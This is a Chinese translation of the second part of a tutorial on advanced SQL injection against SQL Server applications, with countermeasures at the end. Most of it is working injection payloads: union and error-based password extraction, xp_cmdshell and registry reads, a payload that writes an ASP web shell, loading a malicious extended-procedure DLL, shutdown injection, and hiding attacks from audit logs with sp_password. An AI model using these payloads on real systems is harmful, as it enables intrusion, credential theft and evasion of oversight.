Sql-Server應用程序的高級Sql注入(下)

 注:本文摘自 黑客動畫吧 www.hack58.net


一旦攻擊者確定了用戶名,他就可以蒐集密碼;

Username: ' union select password,1,1,1 from users where username = 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35

一個更“別緻”的技術是將用戶名和密碼連接成一個單獨的字符傳,然後試圖將它轉換成整型。這將舉另一種例子;Transact-SQL語句可以將字符串連接成一行而不改變他們的意義,下面的腳本將連接這些值:

begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end

攻擊者用這個'username'登陸(明顯都在同一行)

Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--

這創建了一個只包含單列'ret'的表'foo',而且把我們的字符串放在裏面。通常一個低權限的用戶可以在示例數據庫裏創建表,或者一個臨時表。

之後攻擊者選擇查詢表裏的字符串,就像前面說的:

Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
/process_login.asp, line 35

然後刪除這個表:

Username: '; drop table foo--

這些例子僅僅揭開了這項技術的神祕面紗,不用說,如果攻擊者可以從數據庫獲得豐富的錯誤信息,他們的工作將大大的簡化。


[更深入的訪問]

一旦攻擊者可以控制數據庫,他們可能想通過這些權限來獲得對網絡更多的控制,可以通過很多方法來達到這一目的:

1.利用xp_cmdshell擴展存儲以SQL-Server用戶的身份在數據庫服務器上執行命令
2.利用xp_regread擴展存儲讀取註冊表的鍵值,也包括SAM(只要SQL-Server是以一個本地帳號運行的)
3.用其他的擴展存儲改變服務器設置
4.在聯合服務器上執行查詢
5.創建客戶擴展存儲從而在SQL-Server進程內運行exploit
6.用'bulk insert'語句去讀服務器上任何文件
7.用bcp在服務器上創建任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統存儲過程來創建ActiveX對象來完成asp腳本可以做的任何事情

這些只是常見的攻擊方法的一部分;攻擊者也很可能通過其他方法來達到目的,我們列舉這些SQL-Server相關的攻擊方法是爲了說明如果程序可以被注入SQL語句時可能會發生什麼,我們將依次給出以上各種情況的對策。


[xp_cmdshell]

擴展存儲的本質是編譯了的動態鏈接庫(DLLs),它用SQL-Server指定的調用方式去運行接口函數。他們允許SQL-Server程序擁有了和c/c++一樣的功能,是個非常有用的特性。SQL-Server內置了大量的擴展存儲,而且有各種各樣的函數比如發送郵件和更改註冊表。
xp_cmdshell是一個內置的擴展存儲,它允許執行任意的命令行程序。例如:

exec master..xp_cmdshell 'dir'

將會獲得一個SQL-Server進程所在工作目錄的列表

exec master..xp_cmdshell 'net1 user'

將提供主機用戶的列表。如果SQL Server正常的以本地'system'帳號或者'domain user'帳號運行,攻擊者可以造成更嚴重破壞。


[xp_regread]

另外一個有用的內置的擴展存儲是xp_regXXX函數

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

其中一些函數的用法的舉例:

exec xp_regread HKEY_LOCAL_MACHINE
'SYSTEM/CurrentControlSet/Services/lanmanserver/parameters',
'nullsessionshares'

(它決定服務器的空連接式共享是否可用)

exec xp_regenumvalues HKEY_LOCAL_MACHINE
'SYSTEM/CurrentControlSet/Services/snmp/parameters/validcommunities'

(它顯示所有的服務器上SNMP公共的設置,通過這個信息,攻擊者可以在相同的網絡區域裏重新配置網絡設置,因爲SNMP共有設置很少被改變而且由很多主機共享)

可以想象攻擊者怎樣利用這些函數來讀取SAM文件,改變系統設置在重新啓動後就被服務的應用,或者在用戶下一次登陸時運行任意命令。


[其他擴展存儲]

xp_servicecontrol擴展存儲允許用戶啓動,停止,暫停或者運行服務。

exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'

下面是一些其他有用的擴展存儲表:

xp_availablemedia 顯示機器上可用的驅動器
xp_dirtree 獲得一個目錄樹
xp_enumdsn 列舉服務器上的ODBC數據源
xp_loginconfig 顯示服務器的安全狀態信息
xp_makecab 允許用戶在服務器上創建壓縮文件(或者任何服務器可以訪問的文件)
xp_ntsec_enumdomains 列舉服務器可以訪問的域
xp_terminate_process 結束一個給定PID進程


[聯合服務器]

SQL-Server提供了一個服務器聯合的機制,就是允許一個數據庫服務器上的查詢操作其他服務器的數據。這些聯合設置存放在master..sysservers表裏,如果一個相連的服務器使用了'sp_addlinkedsrvlogin'存儲過程,一個自動的登陸了的連接已經存在,可以通過它不登陸而訪問該服務器。'openquery'函數允許查詢在聯合服務器上執行。


[用戶自定義擴展存儲]

擴展存儲的API是相當簡單的,創建一個帶有惡意代碼的擴展存儲DLL也是相當容易的。通過命令行有很多方法將DLL上傳到服務器,還有其他的很多方法包括各種通信機制來自動實現,比如HTTP下載和FTP腳本。
一旦DLL文件出現在服務器上SQL-Server可以訪問,這不一定需要SQL-server本身,攻擊者可以通過下面添加擴展存儲(這裏,我們的惡意擴展存儲是個用來操作服務器的文件系統小的木馬)

sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'

擴展存儲就可以通過一般的方法調用:

exec xp_webserver

一旦這個擴展存儲執行過,可以這樣刪除它:

sp_dropextendedproc 'xp_webserver'


[向表中導入文本文件]

利用'bulk insert'語句,可以把一個文本文件的內容插入進一張臨時表,我們簡單的創建一個表:

create table foo( line varchar(8000) )

然後執行bulk insert來插入數據來自於一個文件:

bulk insert foo from 'c:/inetpub/wwwroot/process_login.asp'

通過上面介紹過的錯誤信息技巧就可以得到數據,或者通過一個'union'查詢,把文本數據作爲查詢的數據返回。這對於獲得存儲在數據庫裏的腳本如asp腳本很有用。


[利用BCP創建文本文件]

利用和'bulk insert'作用相反的技術創建任意的文本文件非常簡單。不過需要一個命令行工具'bcp'('bulk copy program'),因爲bcp在SQL-Server進程外訪問數據庫,它需要一次登陸。但是這不難,因爲攻擊者都可以創建一個;或者如果服務器配置使用了“完整性”安全模式,攻擊者可以利用它。

命令行格式如下:

bcp "Select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar

'S'參數是要運行查詢的服務器,'U'參數是用戶名,'P'是密碼,這裏的密碼是'foobar'。


[SQL-Server 裏的ActiveX自動腳本]

SQL-Server提供了一些內置的擴展存儲,允許在SQL-Server內創建ActiveX自動腳本。這些腳本在功能上和windows scripting host上運行的腳本或者asp腳本(通常用Javascript或者Vbscript編寫)一樣,腳本創建自動對象並且通過他們產生作用。一個用Transact-SQL寫的自動腳本可以做任何asp腳本或者WSH腳本能做的事。

下面提供一些例子來說明:

1)這個例子用'wscript.shell'對象創建一個notepad的實例(當然這裏也可以是任何命令行命令)

-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

在我們的例子裏可以使用這樣的用戶名(都在一行):

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

2)這個例子用'scripting.filesystemobject'對象去讀已知的文本文件:

-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:/boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

3)下面的例子創建一個asp腳本執行任意命令:

-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:/inetpub/wwwroot/foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell"): o.run(request.querystring("cmd") )%>'

需要注意的很重要的一點是Windows NT4,IIS4平臺asp腳本將會以'system'的帳號運行,而在IIS5他們會以低權限的IWAM_xxx帳號運行。

4)這個例子(稍帶欺騙性)說明這項技術的靈活性,它用'speech.voicetext'(譯者注:參考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)對象,使SQL Server說話:

declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'

這當然也可以在我們的例子裏使用,通過指定下面的'username'(注意例子不只是注入一段腳本,同時也以'admin'的身份登陸了程序)

用戶名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-


[存儲過程]

傳統的認識是如果ASP程序使用了數據庫系統的存儲過程,那麼就不可能SQL注入了。這句話不完全對,這依賴於ASP腳本調用存儲過程的方式。

本質上,一個帶參數的查詢執行了,用戶提供的參數就被安全的傳給查詢,SQL注入就不可能了。但是,如果攻擊者可以對無數據部分的查詢語句施加任何影響,他們仍然可能控制數據庫。

一個有用的規則是:

1. 如果ASP腳本創建了一個提交給服務器的SQL查詢語句,這是很容易被SQL注入的,即使它使用了存儲過程。
2. 如果ASP腳本使用了封裝傳遞參數給存儲過程的過程對象(如ADO command對象,和參數集合一起使用的)那麼它通常就很安全了,但是這還要取決於對象的執行。

明顯的,最好習慣於驗證所有的用戶輸入,因爲新的攻擊技術會不停的涌現。

爲了說明存儲過程查詢的注入,運行下面的SQL語句:

sp_who '1' select * from sysobjects

或者

sp_who '1' ; select * from sysobjects

任何附加語句在存儲過程執行後還是可以執行。

[高級Sql注入]

一個應用程序通常過濾單引號,另一方面限制用戶的輸入,比如限制長度。

在這裏,我們將討論一些繞過一些明顯的SQL注入防範的和長度限制的技巧。


[沒有符號的字符串]

有時候,開發人員可能已經通過過濾單引號來保護應用程序,比如用VBScript的'replace'函數:

function escape( input )
input = replace(input, "'", "''")
escape = input
end function

不可否認,這會阻止所有的對我們上面給出的對示例站點的攻擊,刪除';'字符也會起作用。但是,在一個大的程序裏一些用戶輸入可能被假定爲數值型。這些值沒有限制,提供了很多可以注入的地方。

如果攻擊者希望創建一個字符串值而不使用引號,他們可以用'char'函數。例如:

insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)

它是一個往表裏插入字符的不帶引號的查詢語句。

當然,如果攻擊者使用一個數值型的用戶名和密碼的話,下面的語句也同樣可以很好的執行:

insert into users values( 667,
123,
123,
0xffff)

因爲SQL-Server自動將數值型的轉換成'varchar'類型,類型轉換是默認的。


[SQL二次注入]

即使一個程序總是過濾單引號,攻擊者仍然可以先注入SQL作爲數據存放在數據庫裏然後被程序再次使用。

比如,一個攻擊者可能通過註冊,創建一個用戶名

Username: admin'--
Password: password

程序正確的過濾了單引號,'insert'語句如下:

insert into users values ( 123, 'admin''--', 'password', 0xffff)

我們假設程序允許用戶更改密碼,ASP腳本在設置新的密碼前先確認用戶舊密碼正確。代碼可能這樣寫:

username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{

設置新密碼的查詢語句可能這樣寫的:

sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"

rso("username")是登陸的查詢返回的的用戶名。

用戶名爲admin'--,上面的查詢就變成了這樣:

update users set password = 'password' where username = 'admin'--'

因此攻擊者可以通過註冊了一個名叫admin'--的用戶來把admin的密碼改成他們自己的。

這是個危險的問題,目前大部分的大型程序都試圖過濾數據。最好的解決方法是拒絕非法輸入,而不是簡單的改變它。這有時候會導致一些問題,非法字符在某些地方是必要的,比如在名字帶符號的情況:

O'Brien

從安全的角度,最好的解決辦法是不允許出現單引號。如果這樣不行,必須避免它們出現,這種情況下,最好保證所有要進入SQL語句的字符(包括從數據庫裏取出的字符)都被正確的處理過。

即使這樣攻擊依然可能實現:如果攻擊者可以不經過程序而往系統插入數據。比如攻擊者有一個email接口,或者有一個可以控制的錯誤記錄數據庫。最好總是驗證所有的數據,包括系統裏的數據,驗證函數調用很簡單,比如:

if ( not isValied( "email", request.querystring("emil") ) ) then
response.end

或者其他的方法


[長度限制]

有時候輸入對數據的長度加以限制會使攻擊困難許多,這的確阻止了一些攻擊,但一個很短的SQL語句也可能造成非常大的危害:

Username: ';shutdown--

關閉SQL-Server,只用了12個字符。另一個例子:

drop table <tablename>

如果長度限制是在字符串過濾後,另一個問題可能會發生。假設用戶名被限制在16個字符之內,密碼也被限制在16個字符之內,下面的用戶名和密碼結合可以執行'shutdown'命令:

Username:aaaaaaaaaaaaaaa'
Password:'; shutdown--

原因是程序過濾用戶名最後的單引號,但是字符串又被切回到16個字符,刪除了過濾的單引號。結果是密碼域可以包含一些SQL, 只要它以一個單引號開始,最後的查詢會變成這樣:

select * from users where username = 'aaaaaaaaaaaaaa'' and password=''';shutdown--

用戶名在查詢裏就變成:

aaaaaaaaaaaaaaa' and password='

後面附上的SQL被執行。


[躲避審覈]

SQL Server在sp_traceXXX系列的函數包含豐富審覈接口,它可以記錄任何數據庫裏的事件。這裏我們特別感興趣的是T-SQL事件,它記錄了所有的SQL語句以及服務器上準備好的和已運行了的批處理。如果這個級別的審覈開啓的話,所有我們討論的注入都將被記錄下來有經驗的數據庫管理員將會看到所有發生的事情。但是如果攻擊者附加下面的字符:

sp_password

到一個Transact-SQL語句,這個審覈記錄如下:

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

這在所有的的T-SQL日誌記錄時都會發生,即使'sp_password'出現在註釋中。這當然是在用戶傳遞sp_password時有意隱藏用戶的明文密碼,但這對攻擊者相當有用。

所以,爲了隱藏所有的注入攻擊者只需要在註釋符'--'後面加一個字符串:

Username: admin'--sp_password

事實上一些執行了的SQL將被記錄,但是查詢字符串本身被強制不記錄。

[防 範]

這部分討論一些針對這些攻擊的防範措施。輸入驗證已經討論過了,一些代碼也給出了,後面我們研究SQL-Server防範問題。


[輸入驗證]

輸入驗證是一個很複雜的問題。一般在一個開發項目中它很少被注意,因爲過度的驗證往往使一個程序的某部分被打斷,所以輸入驗證是個難題。輸入驗證往往不加到程序的功能裏,因而在工期將至而趕程序時不會被人注意。

下面是關於驗證的簡單的討論附示例代碼,這個示例代碼當然不能直接用在程序裏,但可以很好的說明不同的策略。

各種數據驗證的途徑可以分類爲以下幾種:

1)整理數據使之變得有效
2)拒絕已知的非法輸入
3)只接受已知的合法的輸入

方法1有很多概念上的問題;首先,開發者沒有必要知道非法數據由什麼組成,因爲新形式的非法數據隨時都可能產生。第二,改變數據會改變它的長度,這樣會導致前面提到的問題。最後,還有需要對系統已有數據的重用的話有二次注入的問題.

解決方案2也會遇到和1的一些相似的問題,瞭解非法數據會過時,因爲新的攻擊技術也在發展。

解決方案3可能是三種方法中最好的,但是比較難於執行。

從安全角度來考慮可能最好多解決方法是把解決方案2和3結合起來只允許合法的輸入,然後再尋找非法字符。

一個必須結合這兩種途徑的例子是帶有連字符的名字的問題:

Question Bassington-Bassington

我們必須在合法輸入裏允許連字符號,但是也要明白字符串'--'在SQL-Server裏意味着什麼。

當數據整理結合了非法字符驗證時另一個問題就會發生。假設我們應用“非法字符探測器”來探測'--','select'和'union'”後使用“數據整理過濾器”刪除單引號,攻擊者就可以指定這樣的輸入:

uni'on sel'ect @@version-'-

因爲單引號被過濾器刪除了,攻擊者可以把單引號散佈於它的已知的非法字符串裏來躲避檢查。

下面是一些驗證的代碼:

方法1-躲避單引號

function escape( input )
input = replace(input, "'", "''")
escape = input
end function

方法2-抵制已知的非法輸入

function validate_string( input )
know_bad = array( "select", "insert", "update", "delete", "drop", "--", "'")
validate_string = true
for i = lbound( know_bad ) to ubound( known_bad )
if( instr( 1, input, known_bad(i), vbtextcompare) <> 0 )
validate_string = false
exit function
end if
next
end function

方法3-只允許合法輸入

function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( instr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function


[SQL Server 防禦]

最重要的一點是必須防範SQLServer,’out of the box’並不安全。這裏有一個當創建SQL-Server構架要做的事情的簡明清單:

1.決定連接到服務器的方法
a.使用’Network utility’檢驗你使用的網絡庫是可用的
2.檢查哪些帳號存在
a.爲程序創建低權限帳號
b.刪除不需要的帳號
c.確保所有的帳號都有一個健壯的密碼;在一個正常運行一個密碼審計腳本(比如附錄裏提供了一個)。
3.檢查哪些對象存在
a.許多擴展存儲可以安全的刪除,如果這些已經做了考慮刪除一些包含擴展存儲的dll
b.刪除所有的數據庫實例-比如'northwind'和'pubs'數據庫
4.檢查哪些帳號可以訪問對象
a.應用程序用戶所使用的訪問數據庫的帳號應該只擁有對所需要的對象的最小訪問權限
5.檢查服務器的補丁狀況
a.有一些針對SQL-Server的緩衝區溢出[3],[4]和格式字符串[5]攻擊(大部分是作者自己發現的)和一些其他的安全補丁,可能還有更多的漏洞存在
6.檢驗日誌記錄些什麼,和日誌可以做些什麼

一個優秀的防範清單已經在www.sqlsecurity.com提供了(參考文獻[2])。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章